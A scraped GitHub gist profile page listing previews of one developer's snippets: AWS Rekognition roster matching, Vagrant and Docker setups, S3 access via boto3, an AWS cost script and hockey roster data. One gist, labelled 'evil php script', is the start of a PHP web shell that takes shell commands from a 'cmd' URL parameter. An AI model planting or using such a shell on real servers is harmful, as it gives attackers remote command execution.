Skip to content

Instantly share code, notes, and snippets.

View katzefudder's full-sized avatar
😼
I invented a timemachine next week

Florian Dehn katzefudder

😼
I invented a timemachine next week
View GitHub Profile
@katzefudder
katzefudder / text.py
Last active July 24, 2024 11:20
find player's names on their jersey using aws rekognition
import boto3
# Define the team's roster
TEAM_ROSTER = [
{"code": "bn72", "number": 72, "name": "Niklas Lunemann", "team": "EC Bad Nauheim"},
{"code": "bn30", "number": 30, "name": "Maximilian Meier", "team": "EC Bad Nauheim"},
{"code": "bn3", "number": 3, "name": "Nick Aichinger", "team": "EC Bad Nauheim"},
{"code": "bn27", "number": 27, "name": "Alexander Dersch", "team": "EC Bad Nauheim"},
{"code": "bn23", "number": 23, "name": "Marius Erk", "team": "EC Bad Nauheim"},
{"code": "bn58", "number": 58, "name": "Christopher Fischer", "team": "EC Bad Nauheim"},
@katzefudder
katzefudder / Vagrantfile
Last active December 21, 2023 08:44
Vagrant on Apple Silicon for ansible development
# -*- mode: ruby -*-
# vi: set ft=ruby :
Vagrant.configure(2) do |config|
config.vm.box = "centos/7"
config.ssh.insert_key = true
config.vm.network :private_network, ip: "10.0.2.15"
config.vm.provider "qemu" do |qe|
FROM alpine:3.17
ENV NODEJS_VERSION "18.12.1-r0"
ENV HOST=0.0.0.0
RUN apk --update --no-cache add curl bash nodejs=$NODEJS_VERSION npm
WORKDIR /var/www
RUN npm install -D tailwindcss@latest postcss@latest autoprefixer@latest
kubectl run -n jgroups-demo ispn -it --rm=true --image=belaban/ispn_perf_test kube.sh
@katzefudder
katzefudder / list_objects.py
Last active September 21, 2022 19:08
Using Ionos Cloud S3 with Boto3 and AWS CLI
import boto3
endpoint="https://S3-eu-central-1.ionoscloud.com"
bucket_name="my_bucket" # add your bucket here
client = boto3.client('s3',
endpoint_url=endpoint,
config=boto3.session.Config(signature_version='s3v4'),
aws_access_key_id = "4ab...76", # add your access key
aws_secret_access_key = "nDkdd...Trdd" # add your secret key
@katzefudder
katzefudder / Dockerfile
Last active July 9, 2024 08:19
A simple openresty proxy with metrics endpoint
FROM openresty/openresty:1.21.4.1-1-alpine
ENV PATH=$PATH:/usr/local/openresty/luajit/bin:/usr/local/openresty/nginx/sbin:/usr/local/openresty/bin
RUN apk update \
&& apk add curl perl \
# install nginx-lua-openresty https://opm.openresty.org/package/knyar/nginx-lua-prometheus/
&& opm get knyar/nginx-lua-prometheus \
&& mkdir -p /var/log/nginx \
&& mkdir /var/www \
@katzefudder
katzefudder / costs.sh
Created January 10, 2021 12:23
fetch the last months' costs from AWS
#!/bin/bash
# displays the last month's costs in USD for tagged resources
# https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/cost-alloc-tags.html
# FIRST=$(date --date="$(date +'%Y-%m-01') - 1 month" +%s) # date on general Linux distributions
# LAST=$(date --date="$(date +'%Y-%m-01') - 1 second" +%s)
PROJECT=del2
@katzefudder
katzefudder / docker run elasticsearch
Last active June 20, 2020 09:48
Elasticsearch with images and fuzzy search
docker run --rm -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" elasticsearch:7.8.0
@katzefudder
katzefudder / gist:d6635c72182b18b6a26ab12effc44a07
Created June 13, 2020 10:11
evil php script - small helper =)
<html>
<body>
<form method="get" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="text" name="cmd" id="cmd" size="80">
<input type="submit" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@katzefudder
katzefudder / ec-bad-nauheim.txt
Last active January 22, 2020 14:03
Scrape DEL2 teams of eliteprospects using Python: scrapy
bn31 -31- Felix Bick (EC Bad Nauheim)
bn29 -29- David Böttcher (EC Bad Nauheim)
bn42 -42- Pierluigi Capo (EC Bad Nauheim)
bn53 -53- Bastian Kucis (EC Bad Nauheim)
bn85 -85- David-Lee Paton (EC Bad Nauheim)
bn19 -19- Mike Card (EC Bad Nauheim)
bn55 -55- Maximilian Glötzl (EC Bad Nauheim)
bn11 -11- Simon Gnyp (EC Bad Nauheim)
bn82 -82- Niklas Heyer (EC Bad Nauheim)
bn6 -6- Daniel Ketter (EC Bad Nauheim)